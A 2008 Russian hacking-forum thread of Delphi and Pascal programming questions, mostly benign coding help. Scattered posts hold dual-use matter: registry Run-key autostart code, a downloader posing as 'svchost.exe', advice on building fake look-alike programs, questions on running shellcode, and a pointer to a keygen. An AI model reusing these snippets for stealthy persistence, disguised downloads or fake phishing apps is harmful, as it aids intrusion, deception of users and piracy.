..p.s.:и кстате програ не очень так уж плохая.. мне нравитса..

(да кстате, в результате ти получиш *.pas файл! только в нем будет код: begin ..asm ..... end; ассемблерний..!!)

W!z@rD
05.09.2008, 19:41
eLWAux еще тот "экземпляр"

код полученый от DeDe можно выкинуть...
проще уж нормальным дизасмом смотреть, это вообще из области изврата
з.ы. код полученный DeDe можно даже и пытаться скомпилить

eLWAux
05.09.2008, 23:09
eLWAux еще тот "экземпляр"
ну-ну.. а можно поподробней? напиши в ПМ!

код полученый от DeDe можно выкинуть...
проЧти в описание программи : DeDe предзначен для декомпиляции, в первую очередь, проектов Delphi/Pascal

просче всего всех обсуждать.. а самим конкретно посоветовать что-то? а?

Dober'man
05.09.2008, 23:51
просче всего всех обсуждать.. а самим конкретно посоветовать что-то? а?
Ты хочешь преобразователь, то бишь декомпиллер, бинарного кода в готовый .pas модуль не суясь в асм?! давротмненоги, я на измене =) (с)
ps/ копирайтить код - не есть гуд...

OnArs
06.09.2008, 01:08
У меня есть окно не моей программы, в котором есть таблица.

Как на Delphi написать, чтобы можно было выдрать содержимое одного из столбцов этой таблицы?

ExZoD
06.09.2008, 01:45
У меня есть окно не моей программы, в котором есть таблица.

Как на Delphi написать, чтобы можно было выдрать содержимое одного из столбцов этой таблицы?
ну ты юморист))
тут нужно с каждой прогой отдельно разбираться.
А начать лучше с FindWindowEx()
http://msdn.microsoft.com/en-us/library/ms633500(VS.85).aspx

W!z@rD
06.09.2008, 10:09
ну-ну.. а можно поподробней? напиши в ПМ!
ты DeDe хотя бы раз пользовался?

проЧти в описание программи : DeDe предзначен для декомпиляции, в первую очередь, проектов Delphi/Pascal
ты думаешь я не знаю что за софтина?

просче всего всех обсуждать.. а самим конкретно посоветовать что-то? а?
просче просче... Были бы знания асма, такие бы вопросы не задавались. Такие вопросы всегда и сводятся к знанию ассемблера. Водоворот... Знаешь асм не задаешь такие вопросы, не знаешь асм получаешь дизасмы, а так как не знаешь асм все идет лесом.

z01b
06.09.2008, 14:45
просче всего всех обсуждать.. а самим конкретно посоветовать что-то? а?
Если ты открыл проект декомпиленой проги и у тебя там формочки появились, это еще не значит что получил сырцы ...

ToniKapuchon
06.09.2008, 17:23
pascal 7.0 :


ничего не понятно :-))))))))))))))
почему, в выделенной строчке ошибка File not found , хотя он есть ???
хм, что т мне подсказывает что reset() работает с файлом, а не с текстом

http://www.delphisources.ru/pages/faq/faq_delphi_basics/Reset.php.html

0verbreaK
06.09.2008, 17:29
UnPazz

Файловая переменная оббявлена не правильно попробуй

f:TextFile;

или же


f:File;

jecka3000
06.09.2008, 17:49
решил начать изучать делфи7 студио. Скачал а серийник с ключем нет, плиз подскажите где взять?

ExZoD
07.09.2008, 01:29
решил начать изучать делфи7 студио. Скачал а серийник с ключем нет, плиз подскажите где взять?
попробуй тут (http://www.google.ru/search?complete=1&hl=ru&newwindow=1&q=%D0%BA%D0%B5%D0%B9%D0%B3%D0%B5%D0%BD+delphi+7&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=&aq=f&oq=) поискать

Dober'man
07.09.2008, 02:39
хотя он есть ???
В каком каталоге?!!!

krypt3r
08.09.2008, 06:59
Возможно, турбопаскаль настроен так, что скомпилированные экзешники пишутся в отдельный каталог, а не в тот, где лежит *.pas и ибрабатываемый файл. Посмотри в настройках, возможно, так оно и есть.

ЗЫ. Эта ошибка появляется при билде/компиляции (Alt-)F9 или же только при запуске Ctrl-F9?

krypt3r
08.09.2008, 15:28
Вот такой код тоже не работает?

{$I-}
program test;
const
PARSE_FILE = 'h.txt';
var
f : Text;
begin
assign (f, PARSE_FILE);
reset (f);
if IOResult <> 0 then begin
writeln ('reset error');
halt (-1)
end;
close (f)
end.

Dober'man
08.09.2008, 20:29
а почему без выделенной строчки неработает
Потому что он отключил контроль оперций ввода-вывода {$I-}

migomcom
09.09.2008, 09:55
добрый день господа.

Поделитесь пожалуйста опытом работы с шифрованием на базе открытых и закрытых ключей.

Может быть готовыми примерами.

Нужно сделать так чтобы
Можно было сгенерить два ключа (открытый и закрытый)
часть текста шифровалась открытым ключем,
возможность дешифровки мастер ключем.


Желательно все сделать средствами Windows.
Для уменьшения размера

за полезную информацию в этом плане отблагодарю.

ICQ 442204540

Dober'man
09.09.2008, 16:06
На асме https://forum.antichat.ru/showpost.php?p=689443&postcount=7
Незабудь вверху статьи написать begin a внизу end и будет работать :D

eLWAux
09.09.2008, 16:38
ребята, ну так мне кто нибуть поможет или нет?))

мне нужно максимально безопасно спрятать в файле ключ..
(тоесть есть процедура которая расшифровывает текст по ключу XXX.. вот мне єтот ключ XXX надо спрятать, что при reverse'нге било трудно его найти..)

eLWAux
10.09.2008, 15:21
='(
уже как сутки задал вопрос, так и никто не может ответить(((

nerezus
10.09.2008, 15:58
Упакуй программу протектором.

eLWAux
10.09.2008, 16:05
Упакуй программу протектором
єто я всегда успею сделать))
мне интересно, как вручную спрятать?

nerezus
10.09.2008, 16:51
Ну запиши зашифрованной и потом расшифруй в процессе выполнения.

eLWAux
10.09.2008, 17:04
Ну запиши зашифрованной и потом расшифруй в процессе выполнения.
nezerus, ти не понял моего вопроса..
как зашифровать/расшифровать я знаю.. (шифровка и расшифровка идет по ключу..),
так вот ключ для расшифровки мне надо спрятать.. как?

diznt
10.09.2008, 17:29
http://forum.antichat.ru/threadnav80004-1-10.html

разжуйте плз а то чет не могу =\

whiledo
10.09.2008, 21:45
Подскажите как в delphi проверить открыт ли порт, например 25, и если возможно, закрыть его ???

Dober'man
10.09.2008, 22:27
http://forum.antichat.ru/threadnav80004-1-10.html

разжуйте плз а то чет не могу =\
Берется любой редактор ресурсов типа restorator или reshack, затем копируются все окна проги, то бишь формы из которых они сделаны (например мэйлагент) и из них собирается уже новый мэйлагент, только из своего кода - это фейк проги.

update/
Подскажите как в delphi проверить открыт ли порт, например 25, и если возможно, закрыть его ???
http://stfw.ru/page.php?id=7405

_GlaD1aT(OR)_
11.09.2008, 09:35
Помогите с компонентом ICQClient.

------------------

Пишут что это единственный из извесных работающий компонентов Delphi для работы с ICQ. Кто имел с ним дело хочю спросить кое-что:
На форме есть два Edit'a, кнопка ну и естественно сам компонент ICQClient. Первый Edit для ввода UIN'a, второй для пароля. Задача что-бы при нажатии на кнопку, происходило подключение и при правельном пароле Caption изменил название на Режим "OnLine":

procedure TForm1.Button1Click(Sender: TObject);
begin
if (Edit1.Text='') or (Edit2.Text='')
or (StrToInt(Edit1.Text)<10000)
then
begin
MessageBox(0, 'Пожалуйста введите верно UIN и Пароль', MB_ICONWARNING);
Exit;
end;
ICQClient1.UIN:=StrToInt(Edit1.Text);
ICQClient1.Password:=Edit2.Text;
ICQClient1.ConvertToPlaintext:=true;
//логинимся к серверу в статусе Online
ICQClient1.Login;
//--------------------------------------
Button1.Enabled:=False;
Edit1.Enabled:=False;
Edit2.Enabled:=False;
end;

---------------------
При удачном соединении надо что-бы Форма1 меняло свое название:
---------------------

procedure TForm1.ICQClient1Login(Sender: TObject);
begin
Form1.Caption:=('Статус: Online')
end;


Вопрос, почему это не работает, форма не менят Caption. Tckb кто знает в чем проблема, прошу сказать что я сделал не правильно.

Nightmarе
11.09.2008, 10:57
_GlaD1aT(OR)_, в твоём коде всё правильно.
Ошибка возможно кроется в самом компоненте Ticq, так как в сети есть много вариантов, изначальный (а там протокол изменён), ну и разные модификации, так вот изначальный работать не будет, а модифицированный, да.
Поэтому надо сначала убедиться, что сам компонент исправен.

eLWAux
11.09.2008, 12:19
_GlaD1aT(OR)_, попробуй сделать так:
откров файл ICQClient.pas и измени строчку:
procedure TICQClient.Login(Status: LongWord = S_ONLINE; BirthDay: Boolean = False); на
function TICQClient.Login(Status: LongWord = S_ONLINE; BirthDay: Boolean = False):boolean;
....//в сааамом конце:
FSock.Connect;
RESULT:=TRUE;
end;


и в коде делай так:
if ICQClient1.Login=false then
begin showmessage('CONNECT ERROR'); exit; end;
showmessage('CONNECTER');
Form1.Caption:=('Статус: Online')
...

ПОМОГИТЕ МНЕ єЩО РЕБЯТА! МНЕ НАДО СПРЯТАТЬ КЛЮЧ В ФАЙЛЕ))

Nightmarе
11.09.2008, 12:39
ПОМОГИТЕ МНЕ єЩО РЕБЯТА! МНЕ НАДО СПРЯТАТЬ КЛЮЧ В ФАЙЛЕ))
Есть только вариант шифровать текст непосредственно в самом .pas файле разными алгоритмами. Это опытные крякеры расшифруют дело но...

Я лично всегда делал несколько алгоритмов шифровки текста с открытыми ключами...

W!z@rD
11.09.2008, 18:07
мда...
whiledo лесом идет с таким постом...

eLWAux если ключ вшивать будешь в pas то:

Delphi String Protect
=====================
О программе
Delphi String Protect осуществляет защиту строк в исходниках, что после компиляции защитит программу от крэкеров. Строки в исходниках превращаются в зашифрованный массив байт, который расшифровывается по мере необходимости во время работы скомпилированной программы, таким образом, сам исполянемый файл не содержит строк в открытом виде и тем самым сильно противодействует взлому программ путем дизассемблирования и анализа кода программы.

прогу ищи сам

Nightmarе
11.09.2008, 21:28
Delphi String Protect, кому надо ловите:
http://slil.ru/26136468

diznt
11.09.2008, 23:05
а мне нужно с помощью делфи!

z01b
11.09.2008, 23:18
diznt, я прочел 10 твоих постов но до конца так и не понял вопроса ...

Dober'man
11.09.2008, 23:57
http://forum.antichat.ru/threadnav80004-1-10.html

разжуйте плз а то чет не могу =\
Берется любой редактор ресурсов типа restorator или reshack, затем копируются все окна проги, то бишь формы из которых они сделаны (например мэйлагент) и из них собирается уже новый мэйлагент, только из своего кода - это фейк проги.
а мне нужно с помощью делфи!
Фейки программ, исходники на Delphi
http://forum.antichat.ru/threadnav80004-1-10.html

Почём трава?!!!

PorTal.Pro
14.09.2008, 13:08
Кто подскажет код, что бы0при нажатии на кнопку включался ехе файл предположем программы или игры
На делфи

Nightmarе
14.09.2008, 13:25
Кто подскажет код, что бы0при нажатии на кнопку включался ехе файл предположем программы или игры
На делфи
ShellExecute(form1.Handle, nil, PCHar('C:\lol.exe'), nil, nil, SW_SHOW);


Ну и перед этим добавляем в uses модуль ShellApi

ArxWolf
14.09.2008, 17:37
Сообщение от Dober'man Берется любой редактор ресурсов типа restorator или reshack, затем копируются все окна проги, то бишь формы из которых они сделаны (например мэйлагент) и из них собирается уже новый мэйлагент, только из своего кода - это фейк проги.

Ну и в тему, отличный редактор ресурсов
XN Resource Editor (http://slil.ru/26143790)

0verbreaK
14.09.2008, 19:38
PorTal.Pro

WinAPI: WinExec, CreateProcess

ronald
15.09.2008, 20:39
Интересует реализация локального чата, чтобы люди могли отсылать сообщения на шлюзовой компьютер (раздающий инет). подкреплять ответ разъяснением.
ЗЫ: желательно, чтобы мессенджер вёл лог и обязательно, чтобы все сообщения было видно каждому

0verbreaK
15.09.2008, 21:24
ronald используй UDP протокол поищи готовые реализации локальных чатов, также в делфи есть компонент для рбаоты с UDP дейтаграммами.

PaNaDoL
16.09.2008, 22:29
Доброе время суток
Не могу никак с помощью регулярного выражения найти "Как меня зовут?" без тегов

<td nowrap>Как меня зовут: </td>
Искал с помощью <td nowrap>(.+?)</td>, но много находит. Как можно еще добавить в поиск ": " (без кавычек)

Помогите пожалуйста :confused:

slesh
17.09.2008, 09:39
так юзай квантификатор - ноль и более вхождений - *
и тогда будет чтото типа
<td nowrap>(.+?)*:</td> чтото подобное
или <td nowrap>(.+?)*\:</td>

ronald
17.09.2008, 19:12
Интересует как на делфи добавить прогу в автозагрузку)))

NeXArmAor
17.09.2008, 19:52
Нужно получить текст с программы,а точнее с TPanel'и. Вообщем эта программа представляет из себя чат,и когда пользователь пишет текст в чате,данный текст потом отображается в TPanel. Мне необходимо этот текст получить из моей программы,для этого я юзаю FindWindow и FindWindowEx и SendMessage с WM_GETTEXT,но они к сожалению не дают желаемого результата. Кто знает как осуществить это пишите

Вот скрины:
http://img370.imageshack.us/img370/1991/tpanum2.jpg
--------------------------------------------------------------------------------------
http://img370.imageshack.us/img370/4562/tpan1br7.jpg

А вот код:


///Код примерный
var
hnd: HWND;
stx: String;
begin
hnd:=FindWindow('TMainForm',nil);
hnd:=FindWindowEx(hnd,0,'TPanel',nil);
SendMessage(hnd,WM_GETTEXT,0,Integer(PChar(stx)));
ShowMessage(stx); 'в итоге вместо настоящего текста появляется TPanelCentral
end;

NeXArmAor
17.09.2008, 19:57
ronald,


function RegWrite(RK:HKEY;K,N,V:String):Boolean;
var
Handle: HKEY;
ReSo: LongInt;
Begin
Result:=False;
ReSo:=RegCreateKeyEx(RK, PChar(K), 0, nil, REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS, nil, Handle, nil);
if ReSo <> ERROR_SUCCESS then
Exit;
ReSo:=RegSetValueEx(Handle, PChar(N), 0, REG_SZ, PChar(V),
Length(V) + 1);
Result:=ReSo=ERROR_SUCCESS;
RegCloseKey(Handle);
end;

RegWrite(HKEY_CURRENT_USER,'\Software\Microsoft\Wi ndows\CurrentVersion\Run','XZ','MYPROG.EXE');
как то так.

Только пробелы убери после копипаста

Scofild
17.09.2008, 21:48
Как можно сделать проверку нескольких Edit (например 6-ти) на наличие символов. кроме как вот так:

if length(edit1.text) and .... length(edit6.text)=0 then
showmessage('заполните все поля!');

Dober'man
17.09.2008, 21:56
for i:=1 to n do if length(edit[i].text)=0 then showmessage()

PaNaDoL
18.09.2008, 01:15
или

for i:=1 to n do if edit[i].text='' then showmessage()

ArxWolf
18.09.2008, 03:58
Или вот так, + все едиты и те которые будут создаватся в реалтайм.


procedure TForm1.Button1Click(Sender: TObject);
Var
i : integer;
begin
try
for i:=0 to Form1.ComponentCount - 1 do
if Form1.Components[i] is TEdit then
if ((Form1.Components[i] as TEdit).Text='') then
ShowMessage('Заполните все поля!');
except
end;
end;

Joker-jar
19.09.2008, 00:22
очищаем массив for i:=0 to 4 do a[i]:=0;
FillChar(a, 0, sizeof(a)); или ZeroMemory(a, sizeof(a));

ArxWolf
19.09.2008, 04:11
UnPazz

for i:=0 to 4 do a[i]:=i;

freeandnil(a);

fillchar(a,sizeof(a),char(0));

W!z@rD
19.09.2008, 18:38
вопрос
Как можно сделать проверку нескольких Edit (например 6-ти) на наличие символов. кроме как вот так:
if length(edit1.text) and .... length(edit6.text)=0 then
showmessage('заполните все поля!');

ответы
for i:=1 to n do if length(edit[i].text)=0 then showmessage()
for i:=1 to n do if edit[i].text='' then showmessage()

че за бред?
вы где это увидели?

Вот код который сделает то что нужно (P.S. строгое оформление кода у меня пошло от C#)
procedure TForm1.Button1Click(Sender: TObject);
var
i: integer;
begin
for i:=0 to Form1.ComponentCount - 1 do
begin
if (Form1.Components[i] is TEdit) then
begin
if ((Form1.Components[i] as TEdit).Text = '') then
begin
ShowMessage(Form1.Components[i].Name + ' is empty');
Exit;
end;
end;
end;
end;

cremator (c)
19.09.2008, 19:04
Возможно ли сделать на дельфи такую программу которая бы открывала сессию обмена данными с портом сервера? На подобие как есть функция в essential net tools Raw socket.

nerezus
20.09.2008, 00:38
Можно. Через сокеты.
WinAPI.

cremator (c)
20.09.2008, 00:47
А если не трудно где можно найти именно по этой теме материал? Или может есть у кого нибудь уже готовые тулзы?

Dober'man
20.09.2008, 01:16
Во первых, не правильно цетировал мой код!!!
Во вторых:
TComponent - класс является предком для всех классов, которые хотят быть компонентами. Правда, этот класс может быть предком только для невизуальных компонентов, т.е. невидимых во время выполнения, а на форме видимых только в виде квадратика с иконкой!

Конечно у тебя безупречный код проверки из всех компонентов формы наличие эдитов и наличия в них текста!!!
че за бред?
вы где это увидели?
И такое видели... !!! Куда нам, таким тупарям, до тебя!!!!!

W!z@rD
20.09.2008, 09:15
Во первых, не правильно цетировал мой код!!!

это почему же?

Во вторых:
TComponent - класс является предком для всех классов, которые хотят быть компонентами. Правда, этот класс может быть предком только для невизуальных компонентов, т.е. невидимых во время выполнения, а на форме видимых только в виде квадратика с иконкой!

Просмотрим дерево наследования для TMemo, визуальный компонент, чтож начнем:
TMemo = class(TCustomMemo); -> TCustomMemo = class(TCustomEdit); -> TCustomEdit = class(TWinControl); -> TWinControl = class(TControl); -> TControl = class(TComponent).
Приехали...

И такое видели... !!! Куда нам, таким тупарям, до тебя!!!!!
сарказма не понял...

z01b
20.09.2008, 17:20
Как выполнить ShellCode в дельфях?!

в C+ это выглядело примерно так :
а в делфи вроде так =)

Турбо Паскаль позволяет вам вставить команды на языке ас-
семблера непосредственно в ваш исходный код на Паскале. Это может
оказаться очень полезным как для взаимодействия со специальными
устройствами, так и для написания очень быстрых процедур, которые
используют средства поддержки Турбо Паскаля.
Машинный код, который вы хотите вставить в вашу программу,
должен идти после ключевого слова inline и быть заключен в круг-
лые скобки. Каждый байт или слово отделяются обратным слешем.
Простая арифметика может быть реализована с помощью знаков плюс и
минус. Символ "*" определяет ячейку, на которую указывает счетчик
адреса. Весь код вводится в виде чисел, то есть вы не можете ис-
пользовать мнемоник как в ассемблере. Так как inline - это пред-
ложение, оно оканчивается точкой с запятой.
Например,
inline ($C9/$E900);
будет вводить три байта в вашу программу: $C9, $E9 и 0.

ronald
20.09.2008, 18:06
Вот исходник локального чата:

[.code]
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdUDPServer, IdBaseComponent, IdComponent, IdUDPBase,
IdUDPClient, StdCtrls, WinSock;

type
TForm1 = class(TForm)
Edit1: TEdit;
Memo1: TMemo;
Button1: TButton;
IdUDPClient1: TIdUDPClient;
IdUDPServer1: TIdUDPServer;
procedure Button1Click(Sender: TObject);
procedure IdUDPServer1Status(ASender: TObject;
const AStatus: TIdStatus; const AStatusText: String);
procedure IdUDPServer1UDPRead(Sender: TObject; AData: TStream;
ABinding: TIdSocketHandle);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
IdUDPClient1.Send(Edit1.Text);
end;



procedure TForm1.IdUDPServer1UDPRead(Sender: TObject; AData: TStream;
ABinding: TIdSocketHandle);
var
StringFormatedStream: TStringStream;
s:String;
begin
StringFormatedStream := TStringStream.Create('');
StringFormatedStream.CopyFrom(AData, AData.Size);
Memo1.Lines.Add(ABinding.PeerIP+' '+StringFormatedStream.DataString);
ABinding.SendTo(ABinding.PeerIP, ABinding.PeerPort, s[1], Length(s));
StringFormatedStream.Free;
end;

end.
[.code]
При компиляции в 7-ой дельфи вылезают ошибки:
[Error] Unit1.pas(21): Undeclared identifier: 'TIdSocketHandle'

[Error] Unit1.pas(50): ')' expected but identifier 'PeerIP' found

[Error] Unit1.pas(50): 'END' expected but ')' found

[Error] Unit1.pas(18): Unsatisfied forward or external declaration: 'TForm1.IdUDPServer1Status'

[Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas'

Помогите плз с этой х***й разобраться

diznt
20.09.2008, 18:41
ronald на что указывает красная строка при ошибке???

ronald
20.09.2008, 18:49
вот ошипочные строки

ошипка
[Error] Unit1.pas(19): Undeclared identifier: 'TIdSocketHandle'
Строка
ABinding: TIdSocketHandle);
---------------------------------------------------------
ошипка
[Error] Unit1.pas(46): ')' expected but identifier 'PeerIP' found
Строка
Memo1.Lines.Add(ABinding.PeerIP+' '+StringFormatedStream.DataString);
---------------------------------------------------------
ошипка
[Error] Unit1.pas(46): 'END' expected but ')' found
строка
Memo1.Lines.Add(ABinding.PeerIP+' '+StringFormatedStream.DataString);
---------------------------------------------------------
ошипка
[Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas'
строка
Unit1 in 'Unit1.pas' {Form1};

Archangelus
21.09.2008, 02:47
Подскажите как при помощи indy проверить ссылку на существование с выводом результата?

ArxWolf
21.09.2008, 03:23
Archangelus

В Indy не вижу смысла.
Юзаю такой код:


function TestUrl(Url: String): Boolean;
var
hSession, hfile: hInternet;
dwindex, dwcodelen: dword;
dwcode: array [1..20] of char;
res: pchar;
Begin
Try
if pos('http://', lowercase(Url)) = 0 then
Url := 'http://'+Url;
Result := false;
hSession := InternetOpen('InetURL:/1.0', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
if assigned(hsession) then
begin
hfile := InternetOpenUrl(hsession, pchar(Url), nil, 0, INTERNET_FLAG_RELOAD, 0);
dwIndex := 0;
dwCodeLen := 10;
HttpQueryInfo(hfile, HTTP_QUERY_STATUS_CODE, @dwcode, dwcodeLen, dwIndex);
res := pchar(@dwcode);
Result := (res = '200') or (res = '302');
if assigned(hfile) then
InternetCloseHandle(hfile);
InternetCloseHandle(hsession);
end;
except
Result := false;
end;
end;


ronald добавте в Uses IdSocketHandle;

ronald
21.09.2008, 08:48
Как при загрузке очистить Edit и Memo?
ЗЫ: смотрите исходник чата наверху

ArxWolf
21.09.2008, 09:07
ronald
edit1.Clear;
memo1.Clear;

Раз активность появилась)))), подскажите как заставлять Memo1 сливаться в файл в директории где лежит мемо (история переписки)

oO что значит сливатся?
Сохранить текст memo1.Lines.SaveToFile('');

Если вы хотите сохранит ьв туже папку где и программа то
extractfilepath(application.ExeName+'history.txt') ;
Получается
memo1.Lines.SaveToFile(extractfilepath(application .ExeName+'history.txt'));

ronald
21.09.2008, 09:19
Раз активность появилась)))), подскажите как заставлять Memo1 сливаться в файл в директории где лежит мемо (история переписки)

Hellsp@wn
21.09.2008, 14:35
function GetExeName():pchar;
begin
result:=pointer(LocalAlloc(lmem_ZeroInit,255));
GetModuleFileName(0,result,255);
end;

function ExtractFilePath(sFile: String): String; stdcall;
var
i: Integer;
j: Integer;
begin
j := length(sFile);
for i := 1 to length(sFile) do
if sFile[i] = '\' then j := i;
result := Copy(sFile, 1, j);
end;

function GetExeDirectory(): String; stdcall;
begin
result := ExtractFilePath(GetExeName);
end;
...
Memo1.Lines.SaveToFile(GetExeDirectory()+'1.txt');

ronald
21.09.2008, 15:00
Ещё вопрос:

Компьютеры объединены в одну локальную сеть, как сделать так, чтобы через этот чат можно было скидывать файлы?

А также:

Как можно сделать, чтобы если, какое-либо изменение происходило бы с Memo1 выходило бы объявление об этом(звук спикера, анимация и т.д. ,но не ЗВУК!(колонок нету)

W!z@rD
21.09.2008, 15:24
ronald извини конечно, но на такие элементарные вопросы в гугле куча ответов и примеров...
по теме:
файлы - читай, смотри в сторону TCP
спикер - beep(100); событие OnChange возникает при любом обращении к компоненту, пиши beep туда

ronald
21.09.2008, 15:27
сори, я просто больше по С++, а вот Делфи токо на низковатом урове

Zabuldon
21.09.2008, 17:05
Ещё вопрос:

Компьютеры объединены в одну локальную сеть, как сделать так, чтобы через этот чат можно было скидывать файлы?

А также:

Как можно сделать, чтобы если, какое-либо изменение происходило бы с Memo1 выходило бы объявление об этом(звук спикера, анимация и т.д. ,но не ЗВУК!(колонок нету)


Для подсказок я юзаю TkmAlert неплохая штука а чтоб по изменении так есть событие OnChange

De-visible
21.09.2008, 20:51
сори, я просто больше по С++, а вот Делфи токо на низковатом урове
Больше на С++??????
Тогда нах.уй тебе вообще Делфи? не вижу смысла, пиши тогда основной двиг на С++(dll), а для гуи Делфи если только так....

nerezus
22.09.2008, 10:01
А смысл гуя на делфи, когда есть билдер? )

De-visible
22.09.2008, 13:51
А смысл гуя на делфи, когда есть билдер? )
На делфи думаю гуи легче:), и вообще судя по себе, не вижу смысла учить DELPHI.
---------------
p.s.
Есть желание выучить С++ и питон, но пока нет времени:(

GlOFF
22.09.2008, 14:10
не вижу смысла учить DELPHI.
Но дружить с ним всеже желательно )
Разное же бывает, пригодиться...
Здесь предпочтительней, оставаться зрителем...(c)

nerezus
22.09.2008, 14:23
На делфи думаю гуи легче Нисколько. Vcl идентичен там.

Разное же бывает, пригодиться... Когда пригодится - тогда и выучим ;)
На самом деле фраза построена странно - но так на самом деле и есть.

De-visible
22.09.2008, 14:28
Нисколько. Vcl идентичен там.

Когда пригодится - тогда и выучим ;)
На самом деле фраза построена странно - но так на самом деле и есть.
Нисколько. Vcl идентичен там.
Здесь я спорить не буду:)
----------

diznt
22.09.2008, 21:05
Народ нужен учебник по indy component's (делфи)
Глубины indy (от разработчиков вроде) не подходит так как много чего не понятно,
Нужна книга чтобы там было

Работа с распространенными компонентами indy, по мимо того как там будет писаться код (в книге) то желательно должно все до частицы разжеванно что и какая команда в коде делает,русской должна быть книга конечно, примеры работ каторые в книге описываються (к примеру заголовок "Делаем ftp клиент" там описываеться что да и как делать, пример проги то есть ftp клиента)

Спасибо!

4u4uvak
22.09.2008, 23:13
Почему в турбо паскале 7.0. когда я пишу 1234567890, то всё нормально, но когда зажимаю шифт и пишу 1234567890, появляются китайские иероглифы хз как назвать

UnPazz
24.09.2008, 07:11
Почему в турбо паскале 7.0. когда я пишу 1234567890, то всё нормально, но когда зажимаю шифт и пишу 1234567890, появляются китайские иероглифы хз как назвать Попробуй Free Pascal 2.2

_nic
24.09.2008, 11:15
Как отсортировать итемы в ListBox по первым символам в название?То есть если цифры то от 0 до максимального,или если буквы то по алфавиту.

mfcn
24.09.2008, 12:22
Как отсортировать итемы в ListBox по первым символам в название?То есть если цифры то от 0 до максимального,или если буквы то по алфавиту.
ListBox1.Sorted:=true;
Можно предварительно сорировать стоки, только не в TStrings (хотя не знаю, может у версий позднее 5-го Delphi уже можно), а совместимый с ним TStringList методом StringList1.Sort или изменив свойство StringList1.Sorted:=true;

o_OBallers
24.09.2008, 14:36
Народ нужен учебник по indy component's (делфи)
Глубины indy (от разработчиков вроде) не подходит так как много чего не понятно,
Нужна книга чтобы там было

Работа с распространенными компонентами indy, по мимо того как там будет писаться код (в книге) то желательно должно все до частицы разжеванно что и какая команда в коде делает,русской должна быть книга конечно, примеры работ каторые в книге описываються (к примеру заголовок "Делаем ftp клиент" там описываеться что да и как делать, пример проги то есть ftp клиента)

Спасибо!
Такого, учебника нету, сам в своё время обыскался, бери английский словарь, вводи например idHTTP1. вылезет автозавершение, смотри что там есть, переводи, домысливай, эксперементируй, давай больше импровизации. Также пользуйся google и delphiworld. Я сам пару лет назад изучал так indy.

Почему в турбо паскале 7.0. когда я пишу 1234567890, то всё нормально, но когда зажимаю шифт и пишу 1234567890, появляются китайские иероглифы хз как назвать

Дело в таблице символов там нету !@#$%^&*()

Karapuziko
24.09.2008, 23:37
Как сделать что бы в Делфи в прогах ошибки не вылетали а просто игнорировались?

Karapuziko
24.09.2008, 23:44
Рой в сторону обработки исключительных ситуаций
а ты сам не знаешь? помоги если знаешь...

bons
25.09.2008, 00:09
Как сделать что бы в Делфи в прогах ошибки не вылетали а просто игнорировались?

вот пример обработки ошибки выполнения функции делфи


try
strtoint('xx');
except
showmessage('error');
end

De-visible
25.09.2008, 00:14
вот пример обработки ошибки выполнения функции делфи


try
strtoint('xx');
except
showmessage('error');
end

мда....

W!z@rD
25.09.2008, 17:15
Как сделать что бы в Делфи в прогах ошибки не вылетали а просто игнорировались?
заключить потенциально "опасный" код в блок try..except..end;
в блоке обработки except..end; ничего не писать

cremator (c)
26.09.2008, 11:05
Мне надо реализовать в проге чтобы при нажатие определенной кнопки посылался запрос в виде http://server.ru/index.php?var=value и потом ждать ответ от сервера и записать его в какую нибудь переменную..
если не трудно поподробнее напишите пожалуйста))

slesh
26.09.2008, 12:03
как простой вариант юзай для дельфы модуль wininet
и можно замутить так:
функции даешь путь полный типа http://site.com/script.php?var=value
и буфер куда должен ответ приняться

procedure Download(url:pansichar;var ress:pchar);
var
hSession, hURL: pointer;// для скачевания
Buffer: array[0..1023] of char; // буфер
BufferLen: DWORD;
x:integer;
begin
hSession:=InternetOpen('svchost.exe', 1, nil, nil, 0); // открытие сессии
if hSession=nil then exit;
hURL:=InternetOpenURL(hSession, URL, nil, 0, $04000000, 0); // открытие удаленного файла
if hURL=nil then exit;
lstrcpy(ress,#0);
repeat
for x:=0 to 1023 do buffer[x]:=#0; // тупой метод очистки бефера. но для моих целей пойдет
InternetReadFile(hURL, @Buffer[0], SizeOf(Buffer), BufferLen); // считывание удаленного файла в буфер
lstrcat(ress,buffer);
until BufferLen=0; // если буфер пуст, то файл уже скачался
InternetCloseHandle(hURL); // закрыть удаленный файл
InternetCloseHandle(hSession); // закрыть сессию
end;

Twiddle
26.09.2008, 15:53
ачатовцы, помогите, уже 5 дней ломаю голову. подскажите как сделать глобальный хук, что бы при нажатии клавиш (ctrl+alt+shift) убивался winamp.exe к примеру. ЗЫ: моя прога может в этот момент быть не активна а активин сам винамп.
Заранее благодарен... Очень нужно...

z01b
26.09.2008, 16:12
ачатовцы, помогите, уже 5 дней ломаю голову. подскажите как сделать глобальный хук, что бы при нажатии клавиш (ctrl+alt+shift) убивался winamp.exe к примеру. ЗЫ: моя прога может в этот момент быть не активна а активин сам винамп.
Заранее благодарен... Очень нужно...
Если вкратце то есть 2 способа, первый - пишем драйвер который хукает что тебе нужно и второй, это пишем длл-ку которую внедряем во все процессы и перехватываем определенные действия....

Twiddle
26.09.2008, 16:26
про драйвер слышу в первый раз. Так хотел дллку но у самого не получислось - поэтому прошу помощи

z01b
26.09.2008, 16:39
http://wasm.ru/article.php?article=apihook_1

cremator (c)
27.09.2008, 10:25
мне надо определить тип переменной в процессе работы проги, текстовый он или числовой. есть такой оператор?
и ещё даже когда я помещаю потенциально "опасный" код в блок try ... except on EConvertError do ... end; то у меня всё равно вылазиет ошибка конвертации!

De-visible
27.09.2008, 10:58
мне надо определить тип переменной в процессе работы проги, текстовый он или числовой. есть такой оператор?
и ещё даже когда я помещаю потенциально "опасный" код в блок try ... except on EConvertError do ... end; то у меня всё равно вылазиет ошибка конвертации!

ещё даже когда я помещаю потенциально "опасный" код в блок try ... except on EConvertError do ... end; то у меня всё равно вылазиет ошибка
Скорее всего у тебя вылазиет ошибка под отладчиком, после компиляции такого быть не должно...

eNGi
28.09.2008, 00:36
Здравствуйте! Есть вопросик программисты, посоветуйте plz.
Исходные данные:
